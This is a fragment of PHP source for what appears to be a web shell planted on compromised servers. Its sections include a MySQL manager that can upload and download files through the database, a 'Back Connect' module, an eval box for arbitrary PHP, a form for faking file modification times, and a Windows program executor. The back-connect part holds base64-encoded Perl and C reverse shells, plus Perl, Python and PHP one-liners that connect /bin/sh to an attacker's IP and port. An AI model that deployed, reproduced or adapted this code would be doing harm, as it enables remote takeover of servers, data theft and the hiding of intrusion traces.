748 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
749 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
750 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
751 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
752 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
753 $('mysqlfile').charset.value=$('dbinfo').charset.value;
754 $('mysqlfile').submit();
755}
756</script>
757<?php
758 !$dbhost && $dbhost = 'localhost';
759 !$dbuser && $dbuser = 'root';
760 !$dbport && $dbport = '3306';
761 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
762 makehide('action','sqlfile');
763 p('<p>');
764 p('DBHost:');
765 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
766 p(':');
767 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
768 p('DBUser:');
769 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
770 p('DBPass:');
771 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
772 p('DBName:');
773 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
774 p('DBCharset:');
775 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
776 p('</p>');
777 formfoot();
778 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
779 p('<h2>Upload file</h2>');
780 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
781 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
782 p('<h2>Download file</h2>');
783 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
784 makehide('dbhost');
785 makehide('dbport');
786 makehide('dbuser');
787 makehide('dbpass');
788 makehide('dbname');
789 makehide('charset');
790 makehide('doing');
791 makehide('action','sqlfile');
792 p('</form>');
793}
794
795elseif ($action == 'mysqladmin') {
796 !$dbhost && $dbhost = 'localhost';
797 !$dbuser && $dbuser = 'root';
798 !$dbport && $dbport = '3306';
799 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
800 if(isset($dbhost)){
801 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
802 }
803 if(isset($dbuser)) {
804 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
805 }
806 if(isset($dbpass)) {
807 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
808 }
809 if(isset($dbport)) {
810 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
811 }
812 if(isset($dbname)) {
813 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
814 }
815 if(isset($charset)) {
816 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
817 }
818
819 if ($doing == 'backupmysql' && $saveasfile) {
820 if (!$table) {
821 m('Please choose the table');
822 } else {
823 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
824 $table = array_flip($table);
825 $fp = @fopen($path,'w');
826 if ($fp) {
827 $result = q('SHOW tables');
828 if (!$result) p('<h2>'.mysql_error().'</h2>');
829 $mysqldata = '';
830 while ($currow = mysql_fetch_array($result)) {
831 if (isset($table[$currow[0]])) {
832 sqldumptable($currow[0], $fp);
833 }
834 }
835 fclose($fp);
836 $fileurl = str_replace(SA_ROOT,'',$path);
837 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
838 mysql_close();
839 } else {
840 m('Backup failed');
841 }
842 }
843 }
844 if ($insert && $insertsql) {
845 $keystr = $valstr = $tmp = '';
846 foreach($insertsql as $key => $val) {
847 if ($val) {
848 $keystr .= $tmp.$key;
849 $valstr .= $tmp."'".addslashes($val)."'";
850 $tmp = ',';
851 }
852 }
853 if ($keystr && $valstr) {
854 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
855 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
856 }
857 }
858 if ($update && $insertsql && $base64) {
859 $valstr = $tmp = '';
860 foreach($insertsql as $key => $val) {
861 $valstr .= $tmp.$key."='".addslashes($val)."'";
862 $tmp = ',';
863 }
864 if ($valstr) {
865 $where = base64_decode($base64);
866 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
867 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
868 }
869 }
870 if ($doing == 'del' && $base64) {
871 $where = base64_decode($base64);
872 $delete_sql = "DELETE FROM $tablename WHERE $where";
873 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
874 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
875 }
876
877 if ($tablename && $doing == 'drop') {
878 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
879 if (q("DROP TABLE $tablename")) {
880 m('Drop table of success');
881 $tablename = '';
882 } else {
883 m(mysql_error());
884 }
885 }
886
887 formhead(array('title'=>'MYSQL Manager'));
888 makehide('action','mysqladmin');
889 p('<p>');
890 p('DBHost:');
891 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
892 p(':');
893 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
894 p('DBUser:');
895 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
896 p('DBPass:');
897 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
898 p('DBCharset:');
899 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
900 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
901 p('</p>');
902 formfoot();
903?>
904<script type="text/javascript">
905function editrecord(action, base64, tablename){
906 if (action == 'del') {
907 if (!confirm('Is or isn\'t deletion record?')) return;
908 }
909 $('recordlist').doing.value=action;
910 $('recordlist').base64.value=base64;
911 $('recordlist').tablename.value=tablename;
912 $('recordlist').submit();
913}
914function moddbname(dbname) {
915 if(!dbname) return;
916 $('setdbname').dbname.value=dbname;
917 $('setdbname').submit();
918}
919function settable(tablename,doing,page) {
920 if(!tablename) return;
921 if (doing) {
922 $('settable').doing.value=doing;
923 }
924 if (page) {
925 $('settable').page.value=page;
926 }
927 $('settable').tablename.value=tablename;
928 $('settable').submit();
929}
930</script>
931<?php
932 //锟斤拷锟斤拷锟斤拷录
933 formhead(array('name'=>'recordlist'));
934 makehide('doing');
935 makehide('action','mysqladmin');
936 makehide('base64');
937 makehide('tablename');
938 p($dbform);
939 formfoot();
940
941 //选锟斤拷锟斤拷锟æ·åŒ¡æ‹·
942 formhead(array('name'=>'setdbname'));
943 makehide('action','mysqladmin');
944 p($dbform);
945 if (!$dbname) {
946 makehide('dbname');
947 }
948 formfoot();
949
950 //选锟斤拷锟斤拷
951 formhead(array('name'=>'settable'));
952 makehide('action','mysqladmin');
953 p($dbform);
954 makehide('tablename');
955 makehide('page',$page);
956 makehide('doing');
957 formfoot();
958
959 $cachetables = array();
960 $pagenum = 30;
961 $page = intval($page);
962 if($page) {
963 $start_limit = ($page - 1) * $pagenum;
964 } else {
965 $start_limit = 0;
966 $page = 1;
967 }
968 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
969 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
970 //锟斤拷å–锟斤拷锟æ·åŒ¡æ‹·é”Ÿæ–¤æ‹·æ¯
971 $mysqlver = mysql_get_server_info();
972 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
973 $highver = $mysqlver > '4.1' ? 1 : 0;
974
975 //锟斤拷å–锟斤拷锟æ·åŒ¡æ‹·
976 $query = q("SHOW DATABASES");
977 $dbs = array();
978 $dbs[] = '-- Select a database --';
979 while($db = mysql_fetch_array($query)) {
980 $dbs[$db['Database']] = $db['Database'];
981 }
982 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
983 $tabledb = array();
984 if ($dbname) {
985 p('<p>');
986 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
987 if ($tablename) {
988 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
989 }
990 p('</p>');
991 mysql_select_db($dbname);
992
993 $getnumsql = '';
994 $runquery = 0;
995 if ($sql_query) {
996 $runquery = 1;
997 }
998 $allowedit = 0;
999 if ($tablename && !$sql_query) {
1000 $sql_query = "SELECT * FROM $tablename";
1001 $getnumsql = $sql_query;
1002 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1003 $allowedit = 1;
1004 }
1005 p('<form action="'.$self.'" method="POST">');
1006 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1007 makehide('tablename', $tablename);
1008 makehide('action','mysqladmin');
1009 p($dbform);
1010 p('</form>');
1011 if ($tablename || ($runquery && $sql_query)) {
1012 if ($doing == 'structure') {
1013 $result = q("SHOW COLUMNS FROM $tablename");
1014 $rowdb = array();
1015 while($row = mysql_fetch_array($result)) {
1016 $rowdb[] = $row;
1017 }
1018 p('<table border="0" cellpadding="3" cellspacing="0">');
1019 p('<tr class="head">');
1020 p('<td>Field</td>');
1021 p('<td>Type</td>');
1022 p('<td>Null</td>');
1023 p('<td>Key</td>');
1024 p('<td>Default</td>');
1025 p('<td>Extra</td>');
1026 p('</tr>');
1027 foreach ($rowdb as $row) {
1028 $thisbg = bg();
1029 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1030 p('<td>'.$row['Field'].'</td>');
1031 p('<td>'.$row['Type'].'</td>');
1032 p('<td>'.$row['Null'].' </td>');
1033 p('<td>'.$row['Key'].' </td>');
1034 p('<td>'.$row['Default'].' </td>');
1035 p('<td>'.$row['Extra'].' </td>');
1036 p('</tr>');
1037 }
1038 tbfoot();
1039 } elseif ($doing == 'insert' || $doing == 'edit') {
1040 $result = q('SHOW COLUMNS FROM '.$tablename);
1041 while ($row = mysql_fetch_array($result)) {
1042 $rowdb[] = $row;
1043 }
1044 $rs = array();
1045 if ($doing == 'insert') {
1046 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1047 } else {
1048 p('<h2>Update record in '.$tablename.' table »</h2>');
1049 $where = base64_decode($base64);
1050 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1051 $rs = mysql_fetch_array($result);
1052 }
1053 p('<form method="post" action="'.$self.'">');
1054 p($dbform);
1055 makehide('action','mysqladmin');
1056 makehide('tablename',$tablename);
1057 p('<table border="0" cellpadding="3" cellspacing="0">');
1058 foreach ($rowdb as $row) {
1059 if ($rs[$row['Field']]) {
1060 $value = htmlspecialchars($rs[$row['Field']]);
1061 } else {
1062 $value = '';
1063 }
1064 $thisbg = bg();
1065 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1066 if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
1067 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
1068 } else {
1069 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1070 }
1071 }
1072 if ($doing == 'insert') {
1073 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1074 } else {
1075 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1076 makehide('base64', $base64);
1077 }
1078 p('</table></form>');
1079 } else {
1080 $querys = @explode(';',$sql_query);
1081 foreach($querys as $num=>$query) {
1082 if ($query) {
1083 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1084 switch(qy($query))
1085 {
1086 case 0:
1087 p('<h2>Error : '.mysql_error().'</h2>');
1088 break;
1089 case 1:
1090 if (strtolower(substr($query,0,13)) == 'select * from') {
1091 $allowedit = 1;
1092 }
1093 if ($getnumsql) {
1094 $tatol = mysql_num_rows(q($getnumsql));
1095 $multipage = multi($tatol, $pagenum, $page, $tablename);
1096 }
1097 if (!$tablename) {
1098 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1099 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1100 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1101 $tablename = $matches[1][0];
1102 }
1103
1104 /*********************/
1105 $getfield = q("SHOW COLUMNS FROM $tablename");
1106 $rowdb = array();
1107 $keyfied = ''; //锟斤拷锟斤拷锟街讹拷
1108 while($row = @mysql_fetch_assoc($getfield)) {
1109 $rowdb[$row['Field']]['Key'] = $row['Key'];
1110 $rowdb[$row['Field']]['Extra'] = $row['Extra'];
1111 if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
1112 $keyfied = $row['Field'];
1113 }
1114 }
1115 /*********************/
1116 //直锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
1117 if (strtolower(substr($query,0,13)) == 'select * from') {
1118 $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
1119 }
1120
1121 $result = q($query);
1122
1123 p($multipage);
1124 p('<table border="0" cellpadding="3" cellspacing="0">');
1125 p('<tr class="head">');
1126 if ($allowedit) p('<td>Action</td>');
1127 $fieldnum = @mysql_num_fields($result);
1128 for($i=0;$i<$fieldnum;$i++){
1129 $name = @mysql_field_name($result, $i);
1130 $type = @mysql_field_type($result, $i);
1131 $len = @mysql_field_len($result, $i);
1132 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1133 }
1134 p('</tr>');
1135
1136 while($mn = @mysql_fetch_assoc($result)){
1137 $thisbg = bg();
1138 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1139 $where = $tmp = $b1 = '';
1140 //选å–锟斤拷锟斤拷锟街讹拷锟斤拷
1141 foreach($mn as $key=>$inside){
1142 if ($inside) {
1143 //é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·å”¯ä¸€é”Ÿæ–¤æ‹·é”Ÿçš†â˜…æ‹·é”Ÿçš†è®¹æ‹·é”Ÿæ–¤æ‹·é”ŸæŽ¥ç¢‰æ‹·é”Ÿè¡—æ®µï½æ‹·é”Ÿæç¢‰æ‹·é”Ÿæ–¤æ‹·åœæ¢é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿè¡—讹拷锟斤拷为锟斤拷锟斤拷锟斤拷
1144 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
1145 $where = $key."='".addslashes($inside)."'";
1146 break;
1147 }
1148 $where .= $tmp.$key."='".addslashes($inside)."'";
1149 $tmp = ' AND ';
1150 }
1151 }
1152 //锟斤拷å–锟斤拷录锟斤拷
1153 foreach($mn as $key=>$inside){
1154 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1155 }
1156 $where = base64_encode($where);
1157
1158 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1159
1160 p($b1);
1161 p('</tr>');
1162 unset($b1);
1163 }
1164 tbfoot();
1165 p($multipage);
1166 break;
1167 case 2:
1168 $ar = mysql_affected_rows();
1169 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1170 break;
1171 }
1172 }
1173 }
1174 }
1175 } else {
1176 $query = q("SHOW TABLE STATUS");
1177 $table_num = $table_rows = $data_size = 0;
1178 $tabledb = array();
1179 while($table = mysql_fetch_array($query)) {
1180 $data_size = $data_size + $table['Data_length'];
1181 $table_rows = $table_rows + $table['Rows'];
1182 $table['Data_length'] = sizecount($table['Data_length']);
1183 $table_num++;
1184 $tabledb[] = $table;
1185 }
1186 $data_size = sizecount($data_size);
1187 unset($table);
1188 p('<table border="0" cellpadding="0" cellspacing="0">');
1189 p('<form action="'.$self.'" method="POST">');
1190 makehide('action','mysqladmin');
1191 p($dbform);
1192 p('<tr class="head">');
1193 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1194 p('<td>Name</td>');
1195 p('<td>Rows</td>');
1196 p('<td>Data_length</td>');
1197 p('<td>Create_time</td>');
1198 p('<td>Update_time</td>');
1199 if ($highver) {
1200 p('<td>Engine</td>');
1201 p('<td>Collation</td>');
1202 }
1203 p('<td>Operate</td>');
1204 p('</tr>');
1205 foreach ($tabledb as $key => $table) {
1206 $thisbg = bg();
1207 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1208 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1209 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
1210 p('<td>'.$table['Rows'].'</td>');
1211 p('<td>'.$table['Data_length'].'</td>');
1212 p('<td>'.$table['Create_time'].' </td>');
1213 p('<td>'.$table['Update_time'].' </td>');
1214 if ($highver) {
1215 p('<td>'.$table['Engine'].'</td>');
1216 p('<td>'.$table['Collation'].'</td>');
1217 }
1218 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
1219 p('</tr>');
1220 }
1221 p('<tr class='.bg().'>');
1222 p('<td> </td>');
1223 p('<td>Total tables: '.$table_num.'</td>');
1224 p('<td>'.$table_rows.'</td>');
1225 p('<td>'.$data_size.'</td>');
1226 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
1227 p('</tr>');
1228
1229 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1230 makehide('doing','backupmysql');
1231 formfoot();
1232 p("</table>");
1233 fr($query);
1234 }
1235 }
1236 }
1237 tbfoot();
1238 @mysql_close();
1239}//end mysql
1240
1241elseif ($action == 'backconnect') {
1242 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1243 !$yourport && $yourport = '12345';
1244 $usedb = array('perl'=>'perl','c'=>'c','python'=>'python','perl1'=>'perl1','php'=>'php');
1245
1246 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1247 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1248 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1249 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1250 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1251 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1252 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1253 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1254 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1255 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1256 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1257 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1258 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1259 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1260 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1261
1262 if ($start && $yourip && $yourport && $use){
1263 if ($use == 'perl') {
1264 cf('/tmp/angel_bc',$back_connect);
1265 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1266 } else if($use == 'c') {
1267 cf('/tmp/angel_bc.c',$back_connect_c);
1268 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1269 @unlink('/tmp/angel_bc.c');
1270 $res = execute("/tmp/angel_bc $yourip $yourport &");
1271 } else if($use == 'perl1'){
1272 $perl1BackStr = 'use Socket;$i="'.$yourip.'";$p='.$yourport.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
1273 $res = execute(which('perl')." -e '$perl1BackStr' &");
1274 } else if($use == 'python'){
1275 $pythonBackStr = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$yourip.'",'.$yourport.'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
1276 $res = execute(which('python')." -c '$pythonBackStr' &");
1277 } else if($use == 'php'){
1278 $phpBackStr = '$sock=fsockopen("'.$yourip.'",'.$yourport.');exec("/bin/sh -i <&3 >&3 2>&3");';
1279 $res = execute(which('php')." -r '$phpBackStr' &");
1280 }
1281 m("Now script try connect to $yourip port $yourport ...");
1282 }
1283
1284 formhead(array('title'=>'Back Connect'));
1285 makehide('action','backconnect');
1286 p('<p>');
1287 p('Your IP:');
1288 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1289 p('Your Port:');
1290 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1291 p('Use:');
1292 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1293 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1294 p('</p>');
1295 formfoot();
1296}//end sql backup
1297
1298elseif ($action == 'eval') {
1299 $phpcode = trim($phpcode);
1300 if($phpcode){
1301 if (!preg_match('#<\?#si', $phpcode)) {
1302 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1303 }
1304 eval("?".">$phpcode<?");
1305 }
1306 formhead(array('title'=>'Eval PHP Code'));
1307 makehide('action','eval');
1308 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1309 p('<p><a href="http://www.ghm.net/hgmshell/plugin/" target="_blank">Get plugins</a></p>');
1310 formfooter();
1311}//end eval
1312
1313elseif ($action == 'editfile') {
1314 if(file_exists($opfile)) {
1315 $fp=@fopen($opfile,'r');
1316 $contents=@fread($fp, filesize($opfile));
1317 @fclose($fp);
1318 $contents=htmlspecialchars($contents);
1319 }
1320 formhead(array('title'=>'Create / Edit File'));
1321 makehide('action','file');
1322 makehide('dir',$nowpath);
1323 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>0));
1324 //makeinput(array('name'=>'opfile','id'=>'opfile','type'=>'hidden','value'=>''));
1325 //p("<input class=\"input\" name=\"readfile\" id=\"readfile\" value=\"readfile\" type=\"button\" size=\"100\" onclick=\"javascript:$('form1').action.value='editfile';$('form1').opfile.value=$('form1').editfilename.value;$('submit').click();\"/>");
1326 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1327 makeinput(array('title'=>'is keep original mtime?','name'=>'iskeepmtime','value'=>'true','newline'=>0,'type'=>'checkbox','checked'=>'checked'));
1328 formfooter();
1329
1330 goback();
1331
1332}//end editfile
1333
1334elseif ($action == 'newtime') {
1335 $opfilemtime = @filemtime($opfile);
1336 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1337 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1338 formhead(array('title'=>'Clone file was last modified time'));
1339 makehide('action','file');
1340 makehide('dir',$nowpath);
1341 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1342 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','value'=>substr($opfile,0,strrpos($opfile,"/")+1),'size'=>120,'newline'=>1));
1343 formfooter();
1344 formhead(array('title'=>'Set last modified'));
1345 makehide('action','file');
1346 makehide('dir',$nowpath);
1347 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1348 p('<p>Instead »');
1349 p('year:');
1350 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1351 p('month:');
1352 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1353 p('day:');
1354 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1355 p('hour:');
1356 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1357 p('minute:');
1358 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1359 p('second:');
1360 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1361 p('</p>');
1362 formfooter();
1363 goback();
1364}//end newtime
1365
1366elseif ($action == 'shell') {
1367 if (IS_WIN && IS_COM) {
1368 if($program && $parameter) {
1369 $shell= new COM('Shell.Application');
1370 $a = $shell->ShellExecute($program,$parameter);
1371 m('Program run has '.(!$a ? 'success' : 'fail'));
1372 }
1373 !$program && $program = 'c:\windows\system32\cmd.exe';
1374 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1375 formhead(array('title'=>'Execute Program'));
1376 makehide('action','shell');
1377 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1378 p('<p>');
1379 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
